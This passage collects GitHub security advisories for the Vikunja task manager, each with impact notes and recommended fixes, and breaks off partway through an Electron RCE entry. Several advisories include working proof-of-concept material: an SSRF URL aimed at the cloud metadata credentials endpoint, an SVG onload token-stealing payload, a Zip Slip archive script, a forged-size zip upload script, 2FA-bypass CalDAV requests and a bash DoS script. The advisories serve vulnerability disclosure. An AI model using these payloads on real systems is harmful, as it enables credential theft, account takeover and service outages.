The DownloadImage function in pkg/utils/avatar.go uses a bare http.Client{} with no SSRF protection when downloading user avatar images from the OpenID Connect picture claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system.

Details

When a user authenticates via OpenID Connect, Vikunja extracts the picture claim from the ID token or UserInfo endpoint and passes it to syncUserAvatarFromOpenID, which calls utils.DownloadImage with the attacker-controlled URL:

Claim extraction (pkg/modules/auth/openid/openid.go:70-78): go type claims struct { Email string json:"email" Name string json:"name" PreferredUsername string json:"preferredusername" Nickname string json:"nickname" VikunjaGroups []map[string]interface{} json:"vikunjagroups" Picture string json:"picture" // ... }

Avatar sync trigger (pkg/modules/auth/openid/openid.go:348-352): go // Try sync avatar if available err = syncUserAvatarFromOpenID(s, u, cl.Picture) if err != nil { log.Errorf("Error syncing avatar for user %s: %v", u.Username, err) }

Vulnerable download (pkg/utils/avatar.go:94-115): go func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()

req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }

resp, err := (&http.Client{}).Do(req) // No SSRF protection // ... return io.ReadAll(resp.Body) // No size limit }

In contrast, the webhook system correctly applies SSRF protection (pkg/models/webhooks.go:306-310): go if !config.WebhooksAllowNonRoutableIPs.GetBool() { guardian := ssrf.New(ssrf.WithAnyPort()) transport.DialContext = (&net.Dialer{ Control: guardian.Safe, }).DialContext }

The avatar download path has none of this protection. There is no URL scheme validation, no IP address filtering, and no response body size limit.

PoC

Prerequisites: A Vikunja instance with OpenID Connect configured (e.g., Keycloak, Authentik). Attacker has an account on the OIDC provider.

Step 1: Set up a listener to observe incoming requests: bash On attacker-controlled server or internal service nc -lvp 8888

Step 2: In the OIDC provider (e.g., Keycloak admin), update the attacker's user profile picture URL to an internal address: http://169.254.169.254/latest/meta-data/iam/security-credentials/ Or to probe internal services: http://internal-service:8888/admin

Step 3: Log in to Vikunja via the OIDC provider. After the callback completes, the Vikunja server will make a GET request from its own network context to the URL set in the picture claim.

Step 4: Observe the request arriving at the internal endpoint or listener. The request originates from the Vikunja server's IP, bypassing any network-level access controls that allow Vikunja server traffic.

Cloud metadata example (AWS): Set picture URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Vikunja server makes GET to this URL from its own network context The response is read into memory (io.ReadAll) before image.Decode fails The HTTP request itself reaches the metadata service

Impact

- Cloud metadata access: Attacker can reach cloud instance metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure equivalents) from the Vikunja server's network position, potentially leaking IAM credentials, instance identity tokens, and configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts reachable from the Vikunja server by observing response timing and error messages. - Internal service interaction: Any internal service that acts on GET requests (cache purges, status endpoints, admin panels) can be triggered. - Memory pressure: The io.ReadAll call with no size limit means pointing the URL at a large resource could cause memory exhaustion on the Vikunja server, though the 3-second timeout partially mitigates this. - Repeated exploitation: The SSRF triggers on every OIDC login, allowing the attacker to iterate through different internal URLs by updating their OIDC profile between logins.

Recommended Fix

Apply the same SSRF protection used in webhooks to DownloadImage, and add a response body size limit:

go // pkg/utils/avatar.go import ( "net" "code.dny.dev/ssrf" )

func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()

req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }

// SSRF protection: block requests to non-globally-routable IPs guardian := ssrf.New(ssrf.WithAnyPort()) client := &http.Client{ Transport: &http.Transport{ DialContext: (&net.Dialer{ Control: guardian.Safe, }).DialContext, }, }

resp, err := client.Do(req) if err != nil { return nil, fmt.Errorf("failed to download image: %w", err) } defer resp.Body.Close()

if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("failed to download image, status code: %d", resp.StatusCode) }

// Limit response body to 10MB to prevent memory exhaustion const maxAvatarSize = 10 1024 1024 return io.ReadAll(io.LimitReader(resp.Body, maxAvatarSize)) }

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
EPSS
0.04%
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Details The application allows users to upload SVG files as task attachments. SVG is an XML-based format that supports JavaScript execution through elements such as <script> tags or event handlers like onload.

The application does not sanitize SVG content before storing it. When the uploaded SVG file is accessed via its direct URL, it is rendered inline in the browser under the application's origin. As a result, embedded JavaScript executes in the context of the authenticated user.

Because the authentication token is stored in localStorage, it is accessible via JavaScript and can be retrieved by a malicious payload.

Key security issues identified:

No server-side sanitization of SVG content. SVG attachments are rendered inline instead of being forced as a download. Embedded JavaScript within SVG files is allowed to execute. Authentication tokens stored in localStorage are accessible to client-side scripts.

PoC

Tested Environment

[ ] Application version: 1.1.0 [ ] Deployment type: Self-hosted

Steps to Reproduce

1. Log in to an account. 2. Go to Projects and Create a new task or open an existing task. 3. Upload the following SVG file as an attachment:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <svg onload="alert(localStorage.getItem('token'))" xmlns="http://www.w3.org/2000/svg"> </svg>

4. After uploading ,save the Task and open the project , copy the direct URL of the attachment. 5. Open the attachment URL in a new browser tab. 6. The embedded JavaScript executes immediately and displays the authentication token stored in localStorage.

This confirms that arbitrary JavaScript embedded in an uploaded SVG file executes within the application's context.

Impact

This vulnerability is classified as Stored Cross-Site Scripting (XSS).

Potential impact includes:

Execution of arbitrary JavaScript in a victim’s browser. Exposure of authentication tokens. Potential account takeover. Ability to perform authenticated actions on behalf of the victim. Possible privilege escalation if higher-privileged users open the malicious attachment. Any authenticated user who accesses a malicious SVG attachment may be affected.

Recommendations

This vulnerability can be mitigated by implementing proper server-side sanitization of SVG uploads and preventing inline execution of uploaded files.

Specifically:

- Sanitize all uploaded SVG files to remove <script> elements, event handlers (e.g., onload), and other executable content. - Serve attachments with Content-Disposition: attachment to prevent inline rendering. - Implement a strict Content Security Policy (CSP) to block script execution within uploaded files. - Store authentication tokens in HttpOnly, Secure cookies instead of localStorage to prevent JavaScript access. - Applying these controls will prevent stored XSS via SVG uploads and significantly reduce the risk of token exposure and account takeover.

Attachment Stored XSS Proof of concept.pdf

A fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
EPSS
0.07%
Path Traversal
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

Path Traversal (Zip Slip) and Denial of Service (DoS) vulnerability discovered in the Vikunja CLI's restore functionality.

Details

The restoreConfig function in vikunja/pkg/modules/dump/restore.go of the https://github.com/go-vikunja/vikunja/tree/main repository fails to sanitize file paths within the provided ZIP archive. A maliciously crafted ZIP can bypass the intended extraction directory to overwrite arbitrary files on the host system. Additionally, we’ve discovered that a malformed archive triggers a runtime panic, crashing the process immediately after the database has been wiped permanently.

The application trusts the metadata in the ZIP archive. It uses the Name attribute of the zip.File struct directly in os.OpenFile calls without validation, allowing files to be written outside the intended directory.

The restoration logic assumes a specific directory structure within the ZIP. When provided with a "minimalist" malicious ZIP, the application fails to validate the length of slices derived from the archive contents. Specifically, at line 154, the code attempts to access an index of len(ms)-2 on an insufficiently populated slice, triggering a panic.

PoC

When provided with a ZIP containing a traversal path (e.g., ../../../pwned.txt) and a missing migration structure, the application wipes the existing database and then panics due to unsafe index manipulation at line 154 of restore.go.

Reproduction Steps: 1. Preparation: Generate vikunjacriticalpoc.zip. 2. Execution: Run echo "Yes, I understand" | vikunja restore vikunjacriticalpoc.zip. 3. Observation: a. The application logs INFO: Wiped database. b. The application immediately follows with: panic: runtime error: index out of range [-2]. 4. The database is effectively deleted (Wiped), and the restoration process fails to complete, leaving the application in a non-functional state with total data loss for that instance.

Reproduction Python Script:

import zipfile

VIKUNJAVERSION = "v1.1.0" ZIPNAME = "vikunjacriticalpoc.zip"

def createpoc(): with zipfile.ZipFile(ZIPNAME, 'w') as zipf: # Mandatory version file to pass initial check zipf.writestr('VERSION', VIKUNJAVERSION)

# Malicious traversal path # This triggers the traversal logic and the index panic simultaneously zipf.writestr('../../../pwned.txt', "Vulnerability Confirmed.") print(f"[+] {ZIPNAME} created.")

if name == "main": createpoc()

Stack Trace: time=2026-02-21T23:07:22.707Z level=INFO msg="Wiped database." panic: runtime error: index out of range [-2] goroutine 1 [running]: code.vikunja.io/api/pkg/modules/dump.Restore(...) /go/src/code.vikunja.io/api/pkg/modules/dump/restore.go:154 +0x1085

Remediation: Sanitize Paths: Use filepath.Base() to strip all directory information from ZIP entries before processing. Implement Bounds Checking: Ensure slices have sufficient length before performing index arithmetic.

Proposed Fix for restore.go:

// 1. Sanitize the filename filename := filepath.Base(configFile.Name) dstPath := filepath.Join(extractionDir, filename)

// ...

// 2. Prevent Index Out of Range Panic (Line 154) if len(ms) < 2 { return fmt.Errorf("invalid migration sequence in backup archive") } lastMigration := ms[len(ms)-2]

Impact

Vulnerability Type: CWE-22 (Path Traversal) / CWE-248 (Uncaught Exception) Affected Component: pkg/modules/dump/restore.go Impact: Arbitrary File Write and Permanent Data Loss Status: Vikunja has not found an existing CVE for these issues; they appear to be undisclosed Zero-Days. Source File: pkg/modules/dump/restore.go Functions: Restore, restoreConfig Line Number: 154 (v1.1.0) Command: vikunja restore <pathtozip>

Affected Party: Any administrator or automated process utilizing the vikunja restore CLI command. 1. Specifically, instances where a user may be socially engineered into restoring a backup from an untrusted source are at high risk. 2. Additionally, because the database is wiped before archive validation, even a failed exploitation attempt results in a complete loss of application data for that instance, impacting all end-users of the affected Vikunja installation.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.13%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

When a user account is disabled or locked, the status check is only enforced on the local login and JWT token refresh paths. Three other authentication paths — API tokens, CalDAV basic auth, and OpenID Connect — do not verify user status, allowing disabled or locked users to continue accessing the API and syncing data.

Details

User status (StatusDisabled, StatusAccountLocked) is checked in only two places:

1. Local/LDAP login (pkg/routes/api/v1/login.go:74) — prevents issuing new JWTs 2. JWT token refresh (pkg/routes/api/v1/login.go:247) — prevents refreshing expired JWTs

Three other authentication paths fetch the user from the database via GetUserByID but never inspect the returned user's status:

1. API Token Authentication (pkg/routes/apitokens.go:76-103)

API tokens are long-lived (up to years) and have no refresh cycle. A disabled user's API tokens remain fully functional until they expire naturally.

2. CalDAV Basic Auth (pkg/routes/caldav/auth.go)

The CalDAV basic auth handler validates credentials but does not check user status before granting access. A disabled user with valid credentials or a CalDAV token can continue syncing calendars and tasks.

3. OpenID Connect Callback (pkg/modules/auth/openid/openid.go)

The OIDC callback issues a fresh JWT token after validating the identity provider's response but does not check whether the Vikunja user account is disabled. If the user's identity provider session is still active, they receive a valid JWT despite being disabled in Vikunja.

Impact

An administrator who disables a user account expects that user to be immediately locked out. In practice:

- API tokens: The user retains full API access for the remaining lifetime of any issued API tokens — potentially months or years. - CalDAV: The user can continue reading and writing tasks/events via any CalDAV client. - OIDC: The user can obtain a fresh, fully valid JWT by re-authenticating through their identity provider, completely bypassing the account disable.

Proof of Concept

1. Create a user and generate an API token. 2. Disable the user account via the admin API or CLI. 3. Make an API request using the API token: bash curl -H "Authorization: Bearer tk<token>" https://vikunja.example/api/v1/user 4. The request succeeds with a 200 response despite the account being disabled.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.

Details

During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/createfromstructure.go:406 passes the attacker-controlled File.Size from the JSON:

go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)

The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:

go if realsize > config.GetMaxFileSizeInMBytes()uint64(datasize.MB) && checkFileSizeLimit {

With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.

Proof of Concept

Tested on Vikunja v2.2.2 with default maxfilesize: 20MB.

python import zipfile, io, json, requests

TARGET = "http://localhost:3456" token = requests.post(f"{TARGET}/api/v1/login", json={"username": "user1", "password": "User1pass!"}).json()["token"] h = {"Authorization": f"Bearer {token}"}

Craft zip with forged Size=0 in JSON but 25MB actual content largecontent = b"A" (25 1024 1024) # 25MB data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{ "file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"}, "created": "2026-01-01T00:00:00Z"}]}]}]

zipbuf = io.BytesIO() with zipfile.ZipFile(zipbuf, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr("VERSION", "2.2.2") zf.writestr("data.json", json.dumps(data)) zf.writestr("large.bin", largecontent)

resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate", headers=h, files={"import": ("export.zip", zipbuf.getvalue(), "application/zip")})

Output: HTTP 200: {"message": "Everything was migrated successfully."} 25MB file stored despite 20MB server limit.

Impact

An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.

Recommended Fix

Use the actual content length instead of the attacker-controlled Size field:

go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacker-controlled servers advertising numerous size-compliant attachments, exhausting worker memory and causing denial of service for all users.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the POST /api/v2/migration/csv/migrate endpoint that fails to limit parsed row cardinality. Authenticated attackers can upload multipart CSV files with millions of tiny records to exhaust process memory and terminate the API service.

First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Vikunja before 2.6.0 fails to apply pixel decode limits to avatar and project-background upload endpoints, allowing authenticated users to upload crafted images that decode to excessive pixel counts. Attackers can upload small images with extreme aspect ratios that consume significant CPU and memory during processing, causing denial of service through repeated or concurrent uploads.

First published (updated )
Severity
6.9
EPSS
0.08%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc.

Details The two files below show that when a user is accessing Caldav via Basic Authentication, it skips all steps involving 2FA. The order of operations is essentially: 1. Retrieve basic credentials. 2. Verify username. 3. Verify password. 4. Success

pkg/routes/caldav/auth.go:45 go u, err := checkUserCaldavTokens(s, credentials) if user.IsErrUserDoesNotExist(err) { return false, nil } if u == nil { u, err = user.CheckUserCredentials(s, credentials) if err != nil { log.Errorf("Error during basic auth for caldav: %v", err) return false, nil } }

pkg/user/user.go:358 go func CheckUserCredentials(s xorm.Session, u Login) (User, error) { // Check if we have any credentials if u.Password == "" || u.Username == "" { return nil, ErrNoUsernamePassword{} }

// Check if the user exists user, err := getUserByUsernameOrEmail(s, u.Username) if err != nil { // hashing the password takes a long time, so we hash something to not make it clear if the username was wrong , = bcrypt.GenerateFromPassword([]byte(u.Username), 14) return nil, ErrWrongUsernameOrPassword{} }

if user.Issuer != IssuerLocal { return user, &ErrAccountIsNotLocal{UserID: user.ID} }

// The user is invalid if they need to verify their email address if user.Status == StatusEmailConfirmationRequired { return &User{}, ErrEmailNotConfirmed{UserID: user.ID} }

// Check the users password err = CheckUserPassword(user, u.Password) if err != nil { if IsErrWrongUsernameOrPassword(err) { handleFailedPassword(user) } return user, err }

return user, nil }

PoC 1. Setup a Docker instance of Vikunja v2.1.0 and create an account. Enable 2FA on the account. <img width="1506" height="646" alt="CleanShot 2026-03-16 at 15 30 24@2x" src="https://github.com/user-attachments/assets/e88522af-4333-4758-8ba4-3e34de9680f7" />

2. Logout of the account. 3. Using a web proxy, such as Burp Suite, craft an HTTP request to the endpoint similar to the one shown below. Ensure that the 2FA-enabled user's username and password is properly Base64-encoded and inserted into the Authorization header.

http PROPFIND /dav/principals/ HTTP/1.1 Host: 127.0.0.1:3456 Authorization: Basic {{ REDACTED }} [ TRUNCATED ]

<?xml version="1.0"?><d:propfind xmlns:d="DAV:"><d:prop><d:displayname/><d:resourcetype/></d:prop></d:propfind> 5. Observe that the response contains authenticated user information. http HTTP/1.1 207 Multi-Status Content-Type: text/xml; charset=utf-8 Vary: Accept-Encoding Date: Mon, 16 Mar 2026 19:31:47 GMT Content-Length: 398

<?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:" xmlns:C="urn:ietf:params:xml:ns:caldav" xmlns:CS="http://calendarserver.org/ns/"><D:response><D:href>/dav/projects</D:href><D:propstat><D:prop><D:displayname>projects</D:displayname> [ TRUNCATED ] 6. Other requests can then be crafted to retrieve more information about a specific project, such as the one below. http PROPFIND /dav/projects/1/{{ PROJECT NAME }}/ HTTP/1.1 Host: 127.0.0.1:3456 Authorization: Basic [ REDACTED ] [TRUNCATED]

<?xml version="1.0"?><c:calendar-query xmlns:d="DAV:" xmlns:c="urn:ietf:params:xml:ns:caldav"><d:prop><d:getetag/><c:calendar-data/></d:prop><c:filter><c:comp-filter name="VCALENDAR"><c:comp-filter name="VTODO"/></c:comp-filter></c:filter></c:calendar-query>

http HTTP/1.1 207 Multi-Status Content-Type: text/xml; charset=utf-8 [ TRUNCATED ]

[ TRUNCATED ] <D:prop><C:calendar-data>BEGIN:VCALENDAR&#xA;VERSION:2.0&#xA;X-PUBLISHED-TTL:PT4H&#xA;X-WR-CALNAME:Inbox&#xA;PRODID:-//Vikunja Todo App//EN&#xA;BEGIN:VTODO&#xA;UID:8gb6eclz-dad5-4a38-80a8-09005707eb51&#xA;DTSTAMP:20260316T190905Z&#xA;SUMMARY:test&#xA;DESCRIPTION:&lt;p&gt;description&lt;/p&gt;&#xA;CREATED:20260301T203712Z&#xA;LAST-MODIFIED:20260316T190905Z&#xA;BEGIN:VALARM&#xA;TRIGGER;VALUE=DATE-TIME:20260316T130000Z&#xA;ACTION:DISPLAY&#xA;DESCRIPTION:test&#xA;END:VALARM&#xA;END:VTODO&#xA;END:VCALENDAR</C:calendar-data></D:prop><D:status>HTTP/1.1 200 OK [ TRUNCATED ]

Impact Any user that has 2FA enabled could have it bypassed, allowing attacker access to a lot of the user's project information.

Remediation If there are 2FA barriers to access an account in a specific fashion, all integrations should follow those if they're using the same methods of authentication. The easiest path is probably to disable Basic Authentication for Caldav by default, but keep the token access enabled, that way users can generate tokens specifically for Caldav if they want to use that feature. Basic Auth for it could be kept, but would most likely want to be a feature flag or something along those lines. That's so users can turn it on if it's necessary, but can be notified in the documentation that it's a more unsafe pattern if 2FA is enabled.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The DELETE /api/v1/projects/:project/shares/:share endpoint does not verify that the link share belongs to the project specified in the URL. An attacker with admin access to any project can delete link shares from other projects by providing their own project ID combined with the target share ID.

Details

The permission check in canDoLinkShare (pkg/models/linksharingpermissions.go:53-70) validates admin access on the project from the :project URL parameter. However, the Delete method at pkg/models/linksharing.go:305 queries only WHERE id = ? using the share ID, without verifying it belongs to the URL-specified project:

go func (share LinkSharing) Delete(s xorm.Session, web.Auth) (err error) { , err = s.Where("id = ?", share.ID).Delete(share) return }

This is the same vulnerability class as GHSA-jfmm-mjcp-8wq2 (task attachment IDOR) and the fixed GHSA-mr3j-p26x-72x4 (task comment IDOR).

Additionally, ReadOne at line 203 has the same pattern (WHERE id = ? only), though it is not currently exploitable because CanRead fails first due to an unrelated issue with the hash parameter binding.

Impact

An authenticated user with admin access to any project can: - Delete link shares belonging to any other project in the system - Disrupt collaboration by removing shared access links - Link share IDs are sequential integers, making enumeration trivial

Reproduction

1. User A creates Project A and a link share on it (share ID = X) 2. User B creates Project B (gaining admin access) 3. User B calls DELETE /api/v1/projects/{projectBid}/shares/{X} 4. The permission check passes (User B is admin on Project B) 5. The delete executes WHERE id = X — deleting User A's link share

Recommended Fix

Change Delete at pkg/models/linksharing.go:305 to:

go , err = s.Where("id = ? AND projectid = ?", share.ID, share.ProjectID).Delete(share)

Also fix ReadOne at line 203 as defense in depth.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary - Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. - Affected code: - Decoding without bounds: taskattachment.go:GetPreview - Resizing path: resizeImage - Endpoint invoking preview: GetTaskAttachment - Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service. - CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)

Preconditions - API running locally (http://localhost:8080). - Task attachments enabled: taskattachmentsenabled=true in Info. - Any authenticated user with write access to a task.

How It Works - Preview generation decodes the full image via image.Decode and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize. - The first preview per attachment and size performs the heavy work; later requests are served from cache keyvalue.Remember.

Run The POC - Script: sh #!/usr/bin/env bash set -euo pipefail

BASEURL="${BASEURL:-http://localhost:8080}" USERNAME="${USERNAME:-dosuser}" EMAIL="${EMAIL:-dosuser@example.com}" PASSWORD="${PASSWORD:-StrongPass123!}" PROJECTTITLE="${PROJECTTITLE:-poc-dos-preview}" TASKTITLE="${TASKTITLE:-DoS preview test}" OUTDIR="${OUTDIR:-/tmp/vikunja-poc-dos}"

mkdir -p "$OUTDIR"

echo "[+] Checking instance info" curl -sS "$BASEURL/api/v1/info" | tee "$OUTDIR/info.json" >/dev/null if ! grep -q '"taskattachmentsenabled":true' "$OUTDIR/info.json"; then echo "[!] Task attachments disabled" exit 1 fi

echo "[+] Registering user (may already exist)" curl -sS -X POST "$BASEURL/api/v1/register" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \ | tee "$OUTDIR/register.json" >/dev/null || true

echo "[+] Logging in" curl -sS -X POST "$BASEURL/api/v1/login" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \ | tee "$OUTDIR/login.json" >/dev/null TOKEN="$(sed -n 's/."token"[[:space:]]:[[:space:]]"\([^"]\)"./\1/p' "$OUTDIR/login.json")" if [ -z "$TOKEN" ]; then echo "[!] Failed to get token" exit 1 fi

echo "[+] Creating project" curl -sS -X PUT "$BASEURL/api/v1/projects" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$PROJECTTITLE"'"}' \ | tee "$OUTDIR/project.json" >/dev/null PROJECTID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUTDIR/project.json")" if [ -z "$PROJECTID" ]; then echo "[!] Failed to get project id" exit 1 fi

echo "[+] Creating task" curl -sS -X PUT "$BASEURL/api/v1/projects/$PROJECTID/tasks" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$TASKTITLE"'"}' \ | tee "$OUTDIR/task.json" >/dev/null TASKID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUTDIR/task.json")" if [ -z "$TASKID" ]; then echo "[!] Failed to get task id" exit 1 fi

echo "[+] Generating 10000x10000 PNG payload" python3 - <<'PY' from PIL import Image img = Image.new('RGB', (10000,10000), color=(0,0,0)) img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True) PY file "$OUTDIR/huge.png" || true ls -lh "$OUTDIR/huge.png" || true

echo "[+] Uploading attachment" curl -sS -X PUT "$BASEURL/api/v1/tasks/$TASKID/attachments" \ -H "Authorization: Bearer $TOKEN" \ -F "files=@$OUTDIR/huge.png" \ | tee "$OUTDIR/attach.json" >/dev/null ATTACHMENTID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUTDIR/attach.json")" if [ -z "$ATTACHMENTID" ]; then echo "[!] Failed to get attachment id" exit 1 fi

echo "[+] Requesting preview (xl)" /usr/bin/time -l curl -sS -o "$OUTDIR/previewxl.png" \ "$BASEURL/api/v1/tasks/$TASKID/attachments/$ATTACHMENTID?previewsize=xl" \ -H "Authorization: Bearer $TOKEN" 2> "$OUTDIR/timexl.txt" du -h "$OUTDIR/previewxl.png" || true file "$OUTDIR/previewxl.png" || true echo "[+] Timing and memory (from /usr/bin/time):" cat "$OUTDIR/timexl.txt" || true

echo "[+] Parallel preview requests (cache warm) x10" seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{timetotal}\n' -o /dev/null \ '$BASEURL/api/v1/tasks/$TASKID/attachments/$ATTACHMENTID?previewsize=xl' \ -H 'Authorization: Bearer $TOKEN'" | tee "$OUTDIR/paralleltimes.txt" >/dev/null echo "[+] Done. Outputs in $OUTDIR"

- Uses curl and python3 (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.

Steps 1. Ensure the API is running on http://localhost:8080. 2. Execute: bash pocs/image-preview-dos/poc.sh 3. Outputs of interest: - /tmp/vikunja-poc-dos/timexl.txt: /usr/bin/time -l timing and memory for the preview request. - /tmp/vikunja-poc-dos/paralleltimes.txt: 10 parallel preview times with cache warmed. - /tmp/vikunja-poc-dos/previewxl.png: Generated 800×800 preview.

Environment Overrides - BASEURL: API base (default http://localhost:8080) - USERNAME, EMAIL, PASSWORD: credentials for the test user - PROJECTTITLE, TASKTITLE: names for test artifacts - OUTDIR: output directory (default /tmp/vikunja-poc-dos)

Expected Results - First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image. - Subsequent requests are faster due to caching. - Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.

Remediation - Enforce bounds prior to decode: - Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M). - Fail early by reading headers to extract dimensions before full decode. - Add per-user and per-attachment rate limiting for preview generation. - Pre-generate previews asynchronously with throttling and backpressure. - Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.

Notes - This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.38%
Code Injection, XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

Root cause

Two misconfigurations combine to create this vulnerability:

1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, childprocess, fs, etc.).

2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by: - <a href="https://..."> links (without target="blank") - window.location assignments - HTTP redirects - <meta http-equiv="refresh"> tags

Attack scenario

